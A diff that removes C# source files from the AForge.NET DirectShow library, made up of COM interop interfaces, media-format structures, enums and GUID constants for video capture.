@ -1,47 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface provides callback methods for the <see cref="ISampleGrabber.SetCallback"/> method.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid("0579154A-2B53-4994-B0D0-E773148EFF85"),
|
||||
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ISampleGrabberCB
|
||||
{
|
||||
/// <summary>
|
||||
/// Callback method that receives a pointer to the media sample.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
|
||||
/// <param name="sample">Pointer to the sample's <b>IMediaSample</b> interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SampleCB( double sampleTime, IntPtr sample );
|
||||
|
||||
/// <summary>
|
||||
/// Callback method that receives a pointer to the sample bufferþ
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
|
||||
/// <param name="buffer">Pointer to a buffer that contains the sample data.</param>
|
||||
/// <param name="bufferLen">Length of the buffer pointed to by <b>buffer</b>, in bytes</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int BufferCB( double sampleTime, IntPtr buffer, int bufferLen );
|
||||
}
|
||||
}
|
@ -1,36 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface indicates that an object supports property pages.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface ISpecifyPropertyPages
|
||||
{
|
||||
/// <summary>
|
||||
/// Fills a counted array of GUID values where each GUID specifies the
|
||||
/// CLSID of each property page that can be displayed in the property
|
||||
/// sheet for this object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pPages">Pointer to a CAUUID structure that must be initialized
|
||||
/// and filled before returning.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetPages( out CAUUID pPages );
|
||||
}
|
||||
}
|
@ -1,518 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Drawing;
|
||||
|
||||
// PIN_DIRECTION
|
||||
|
||||
/// <summary>
|
||||
/// This enumeration indicates a pin's direction.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
internal enum PinDirection
|
||||
{
|
||||
/// <summary>
|
||||
/// Input pin.
|
||||
/// </summary>
|
||||
Input,
|
||||
|
||||
/// <summary>
|
||||
/// Output pin.
|
||||
/// </summary>
|
||||
Output
|
||||
}
|
||||
|
||||
// AM_MEDIA_TYPE
|
||||
|
||||
/// <summary>
|
||||
/// The structure describes the format of a media sample.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal class AMMediaType : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Globally unique identifier (GUID) that specifies the major type of the media sample.
|
||||
/// </summary>
|
||||
public Guid MajorType;
|
||||
|
||||
/// <summary>
|
||||
/// GUID that specifies the subtype of the media sample.
|
||||
/// </summary>
|
||||
public Guid SubType;
|
||||
|
||||
/// <summary>
|
||||
/// If <b>true</b>, samples are of a fixed size.
|
||||
/// </summary>
|
||||
[MarshalAs( UnmanagedType.Bool )]
|
||||
public bool FixedSizeSamples = true;
|
||||
|
||||
/// <summary>
|
||||
/// If <b>true</b>, samples are compressed using temporal (interframe) compression.
|
||||
/// </summary>
|
||||
[MarshalAs( UnmanagedType.Bool )]
|
||||
public bool TemporalCompression;
|
||||
|
||||
/// <summary>
|
||||
/// Size of the sample in bytes. For compressed data, the value can be zero.
|
||||
/// </summary>
|
||||
public int SampleSize = 1;
|
||||
|
||||
/// <summary>
|
||||
/// GUID that specifies the structure used for the format block.
|
||||
/// </summary>
|
||||
public Guid FormatType;
|
||||
|
||||
/// <summary>
|
||||
/// Not used.
|
||||
/// </summary>
|
||||
public IntPtr unkPtr;
|
||||
|
||||
/// <summary>
|
||||
/// Size of the format block, in bytes.
|
||||
/// </summary>
|
||||
public int FormatSize;
|
||||
|
||||
/// <summary>
|
||||
/// Pointer to the format block.
|
||||
/// </summary>
|
||||
public IntPtr FormatPtr;
|
||||
|
||||
/// <summary>
|
||||
/// Destroys the instance of the <see cref="AMMediaType"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
~AMMediaType( )
|
||||
{
|
||||
Dispose( false );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Dispose the object.
|
||||
/// </summary>
|
||||
///
|
||||
public void Dispose( )
|
||||
{
|
||||
Dispose( true );
|
||||
// remove me from the Finalization queue
|
||||
GC.SuppressFinalize( this );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Dispose the object
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="disposing">Indicates if disposing was initiated manually.</param>
|
||||
///
|
||||
protected virtual void Dispose( bool disposing )
|
||||
{
|
||||
if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) )
|
||||
{
|
||||
Marshal.FreeCoTaskMem( FormatPtr );
|
||||
FormatSize = 0;
|
||||
}
|
||||
|
||||
if ( unkPtr != IntPtr.Zero )
|
||||
{
|
||||
Marshal.Release( unkPtr );
|
||||
unkPtr = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// PIN_INFO
|
||||
|
||||
/// <summary>
|
||||
/// The structure contains information about a pin.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
|
||||
internal struct PinInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Owning filter.
|
||||
/// </summary>
|
||||
public IBaseFilter Filter;
|
||||
|
||||
/// <summary>
|
||||
/// Direction of the pin.
|
||||
/// </summary>
|
||||
public PinDirection Direction;
|
||||
|
||||
/// <summary>
|
||||
/// Name of the pin.
|
||||
/// </summary>
|
||||
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
|
||||
public string Name;
|
||||
}
|
||||
|
||||
// FILTER_INFO
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
|
||||
internal struct FilterInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Filter's name.
|
||||
/// </summary>
|
||||
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
|
||||
public string Name;
|
||||
|
||||
/// <summary>
|
||||
/// Owning graph.
|
||||
/// </summary>
|
||||
public IFilterGraph FilterGraph;
|
||||
}
|
||||
|
||||
// VIDEOINFOHEADER
|
||||
|
||||
/// <summary>
|
||||
/// The structure describes the bitmap and color information for a video image.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal struct VideoInfoHeader
|
||||
{
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the source video window.
|
||||
/// </summary>
|
||||
public RECT SrcRect;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the destination video window.
|
||||
/// </summary>
|
||||
public RECT TargetRect;
|
||||
|
||||
/// <summary>
|
||||
/// Approximate data rate of the video stream, in bits per second.
|
||||
/// </summary>
|
||||
public int BitRate;
|
||||
|
||||
/// <summary>
|
||||
/// Data error rate, in bit errors per second.
|
||||
/// </summary>
|
||||
public int BitErrorRate;
|
||||
|
||||
/// <summary>
|
||||
/// The desired average display time of the video frames, in 100-nanosecond units.
|
||||
/// </summary>
|
||||
public long AverageTimePerFrame;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
|
||||
/// </summary>
|
||||
public BitmapInfoHeader BmiHeader;
|
||||
}
|
||||
|
||||
// VIDEOINFOHEADER2
|
||||
|
||||
/// <summary>
|
||||
/// The structure describes the bitmap and color information for a video image (v2).
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal struct VideoInfoHeader2
|
||||
{
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the source video window.
|
||||
/// </summary>
|
||||
public RECT SrcRect;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the destination video window.
|
||||
/// </summary>
|
||||
public RECT TargetRect;
|
||||
|
||||
/// <summary>
|
||||
/// Approximate data rate of the video stream, in bits per second.
|
||||
/// </summary>
|
||||
public int BitRate;
|
||||
|
||||
/// <summary>
|
||||
/// Data error rate, in bit errors per second.
|
||||
/// </summary>
|
||||
public int BitErrorRate;
|
||||
|
||||
/// <summary>
|
||||
/// The desired average display time of the video frames, in 100-nanosecond units.
|
||||
/// </summary>
|
||||
public long AverageTimePerFrame;
|
||||
|
||||
/// <summary>
|
||||
/// Flags that specify how the video is interlaced.
|
||||
/// </summary>
|
||||
public int InterlaceFlags;
|
||||
|
||||
/// <summary>
|
||||
/// Flag set to indicate that the duplication of the stream should be restricted.
|
||||
/// </summary>
|
||||
public int CopyProtectFlags;
|
||||
|
||||
/// <summary>
|
||||
/// The X dimension of picture aspect ratio.
|
||||
/// </summary>
|
||||
public int PictAspectRatioX;
|
||||
|
||||
/// <summary>
|
||||
/// The Y dimension of picture aspect ratio.
|
||||
/// </summary>
|
||||
public int PictAspectRatioY;
|
||||
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
public int Reserved1;
|
||||
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
public int Reserved2;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
|
||||
/// </summary>
|
||||
public BitmapInfoHeader BmiHeader;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB).
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential, Pack = 2 )]
|
||||
internal struct BitmapInfoHeader
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the number of bytes required by the structure.
|
||||
/// </summary>
|
||||
public int Size;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the width of the bitmap.
|
||||
/// </summary>
|
||||
public int Width;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the height of the bitmap, in pixels.
|
||||
/// </summary>
|
||||
public int Height;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of planes for the target device. This value must be set to 1.
|
||||
/// </summary>
|
||||
public short Planes;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of bits per pixel.
|
||||
/// </summary>
|
||||
public short BitCount;
|
||||
|
||||
/// <summary>
|
||||
/// If the bitmap is compressed, this member is a <b>FOURCC</b> the specifies the compression.
|
||||
/// </summary>
|
||||
public int Compression;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the size, in bytes, of the image.
|
||||
/// </summary>
|
||||
public int ImageSize;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap.
|
||||
/// </summary>
|
||||
public int XPelsPerMeter;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap.
|
||||
/// </summary>
|
||||
public int YPelsPerMeter;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of color indices in the color table that are actually used by the bitmap.
|
||||
/// </summary>
|
||||
public int ColorsUsed;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of color indices that are considered important for displaying the bitmap.
|
||||
/// </summary>
|
||||
public int ColorsImportant;
|
||||
}
|
||||
|
||||
// RECT
|
||||
|
||||
/// <summary>
|
||||
/// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal struct RECT
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the x-coordinate of the upper-left corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Left;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the y-coordinate of the upper-left corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Top;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the x-coordinate of the lower-right corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Right;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the y-coordinate of the lower-right corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
// CAUUID
|
||||
|
||||
/// <summary>
|
||||
/// The CAUUID structure is a Counted Array of UUID or GUID types.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal struct CAUUID
|
||||
{
|
||||
/// <summary>
|
||||
/// Size of the array pointed to by <b>pElems</b>.
|
||||
/// </summary>
|
||||
public int cElems;
|
||||
|
||||
/// <summary>
|
||||
/// Pointer to an array of UUID values, each of which specifies UUID.
|
||||
/// </summary>
|
||||
public IntPtr pElems;
|
||||
|
||||
/// <summary>
|
||||
/// Performs manual marshaling of <b>pElems</b> to retrieve an array of Guid objects.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>A managed representation of <b>pElems</b>.</returns>
|
||||
///
|
||||
public Guid[] ToGuidArray( )
|
||||
{
|
||||
Guid[] retval = new Guid[cElems];
|
||||
|
||||
for ( int i = 0; i < cElems; i++ )
|
||||
{
|
||||
IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) );
|
||||
retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) );
|
||||
}
|
||||
|
||||
return retval;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Enumeration of DirectShow event codes.
|
||||
/// </summary>
|
||||
internal enum DsEvCode
|
||||
{
|
||||
None,
|
||||
Complete = 0x01, // EC_COMPLETE
|
||||
DeviceLost = 0x1F, // EC_DEVICE_LOST
|
||||
//(...) not yet interested in other events
|
||||
}
|
||||
|
||||
[Flags, ComVisible( false )]
|
||||
internal enum AnalogVideoStandard
|
||||
{
|
||||
None = 0x00000000, // This is a digital sensor
|
||||
NTSC_M = 0x00000001, // 75 IRE Setup
|
||||
NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup
|
||||
NTSC_433 = 0x00000004,
|
||||
PAL_B = 0x00000010,
|
||||
PAL_D = 0x00000020,
|
||||
PAL_G = 0x00000040,
|
||||
PAL_H = 0x00000080,
|
||||
PAL_I = 0x00000100,
|
||||
PAL_M = 0x00000200,
|
||||
PAL_N = 0x00000400,
|
||||
PAL_60 = 0x00000800,
|
||||
SECAM_B = 0x00001000,
|
||||
SECAM_D = 0x00002000,
|
||||
SECAM_G = 0x00004000,
|
||||
SECAM_H = 0x00008000,
|
||||
SECAM_K = 0x00010000,
|
||||
SECAM_K1 = 0x00020000,
|
||||
SECAM_L = 0x00040000,
|
||||
SECAM_L1 = 0x00080000,
|
||||
PAL_N_COMBO = 0x00100000 // Argentina
|
||||
}
|
||||
|
||||
[Flags, ComVisible( false )]
|
||||
internal enum VideoControlFlags
|
||||
{
|
||||
FlipHorizontal = 0x0001,
|
||||
FlipVertical = 0x0002,
|
||||
ExternalTriggerEnable = 0x0004,
|
||||
Trigger = 0x0008
|
||||
}
|
||||
|
||||
[StructLayout( LayoutKind.Sequential ), ComVisible( false )]
|
||||
internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS
|
||||
{
|
||||
public Guid Guid;
|
||||
public AnalogVideoStandard VideoStandard;
|
||||
public Size InputSize;
|
||||
public Size MinCroppingSize;
|
||||
public Size MaxCroppingSize;
|
||||
public int CropGranularityX;
|
||||
public int CropGranularityY;
|
||||
public int CropAlignX;
|
||||
public int CropAlignY;
|
||||
public Size MinOutputSize;
|
||||
public Size MaxOutputSize;
|
||||
public int OutputGranularityX;
|
||||
public int OutputGranularityY;
|
||||
public int StretchTapsX;
|
||||
public int StretchTapsY;
|
||||
public int ShrinkTapsX;
|
||||
public int ShrinkTapsY;
|
||||
public long MinFrameInterval;
|
||||
public long MaxFrameInterval;
|
||||
public int MinBitsPerSecond;
|
||||
public int MaxBitsPerSecond;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a filter's state or the state of the filter graph.
|
||||
/// </summary>
|
||||
internal enum FilterState
|
||||
{
|
||||
/// <summary>
|
||||
/// Stopped. The filter is not processing data.
|
||||
/// </summary>
|
||||
State_Stopped,
|
||||
|
||||
/// <summary>
|
||||
/// Paused. The filter is processing data, but not rendering it.
|
||||
/// </summary>
|
||||
State_Paused,
|
||||
|
||||
/// <summary>
|
||||
/// Running. The filter is processing and rendering data.
|
||||
/// </summary>
|
||||
State_Running
|
||||
}
|
||||
}
|
@ -1,299 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow class IDs.
|
||||
/// </summary>
|
||||
[ComVisible( false )]
|
||||
static internal class Clsid
|
||||
{
|
||||
/// <summary>
|
||||
/// System device enumerator.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_SystemDeviceEnum.</remarks>
|
||||
///
|
||||
public static readonly Guid SystemDeviceEnum =
|
||||
new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
|
||||
/// <summary>
|
||||
/// Filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_FilterGraph.</remarks>
|
||||
///
|
||||
public static readonly Guid FilterGraph =
|
||||
new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// Sample grabber.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_SampleGrabber.</remarks>
|
||||
///
|
||||
public static readonly Guid SampleGrabber =
|
||||
new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 );
|
||||
|
||||
/// <summary>
|
||||
/// Capture graph builder.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_CaptureGraphBuilder2.</remarks>
|
||||
///
|
||||
public static readonly Guid CaptureGraphBuilder2 =
|
||||
new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
|
||||
|
||||
/// <summary>
|
||||
/// Async reader.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_AsyncReader.</remarks>
|
||||
///
|
||||
public static readonly Guid AsyncReader =
|
||||
new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow format types.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
static internal class FormatType
|
||||
{
|
||||
/// <summary>
|
||||
/// VideoInfo.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to FORMAT_VideoInfo.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoInfo =
|
||||
new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A );
|
||||
|
||||
/// <summary>
|
||||
/// VideoInfo2.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to FORMAT_VideoInfo2.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoInfo2 =
|
||||
new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow media types.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
static internal class MediaType
|
||||
{
|
||||
/// <summary>
|
||||
/// Video.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Video.</remarks>
|
||||
///
|
||||
public static readonly Guid Video =
|
||||
new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// Interleaved. Used by Digital Video (DV).
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Interleaved.</remarks>
|
||||
///
|
||||
public static readonly Guid Interleaved =
|
||||
new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// Audio.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Audio.</remarks>
|
||||
///
|
||||
public static readonly Guid Audio =
|
||||
new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// Text.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Text.</remarks>
|
||||
///
|
||||
public static readonly Guid Text =
|
||||
new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// Byte stream with no time stamps.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIATYPE_Stream.</remarks>
|
||||
///
|
||||
public static readonly Guid Stream =
|
||||
new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow media subtypes.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
static internal class MediaSubType
|
||||
{
|
||||
/// <summary>
|
||||
/// YUY2 (packed 4:2:2).
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_YUYV.</remarks>
|
||||
///
|
||||
public static readonly Guid YUYV =
|
||||
new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// IYUV.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_IYUV.</remarks>
|
||||
///
|
||||
public static readonly Guid IYUV =
|
||||
new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// A DV encoding format. (FOURCC 'DVSD')
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_DVSD.</remarks>
|
||||
///
|
||||
public static readonly Guid DVSD =
|
||||
new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 1 bit per pixel (bpp), palettized.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB1.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB1 =
|
||||
new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 4 bpp, palettized.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB4.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB4 =
|
||||
new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 8 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB8.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB8 =
|
||||
new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB 565, 16 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB565.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB565 =
|
||||
new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB 555, 16 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB555.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB555 =
|
||||
new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 24 bpp.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB24.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB24 =
|
||||
new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// RGB, 32 bpp, no alpha channel.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_RGB32.</remarks>
|
||||
///
|
||||
public static readonly Guid RGB32 =
|
||||
new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// Data from AVI file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_Avi.</remarks>
|
||||
///
|
||||
public static readonly Guid Avi =
|
||||
new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// Advanced Streaming Format (ASF).
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to MEDIASUBTYPE_Asf.</remarks>
|
||||
///
|
||||
public static readonly Guid Asf =
|
||||
new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow pin categories.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
static internal class PinCategory
|
||||
{
|
||||
/// <summary>
|
||||
/// Capture pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to PIN_CATEGORY_CAPTURE.</remarks>
|
||||
///
|
||||
public static readonly Guid Capture =
|
||||
new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
|
||||
|
||||
/// <summary>
|
||||
/// Still image pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to PIN_CATEGORY_STILL.</remarks>
|
||||
///
|
||||
public static readonly Guid StillImage =
|
||||
new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
|
||||
}
|
||||
|
||||
// Below GUIDs are used by ICaptureGraphBuilder::FindInterface().
|
||||
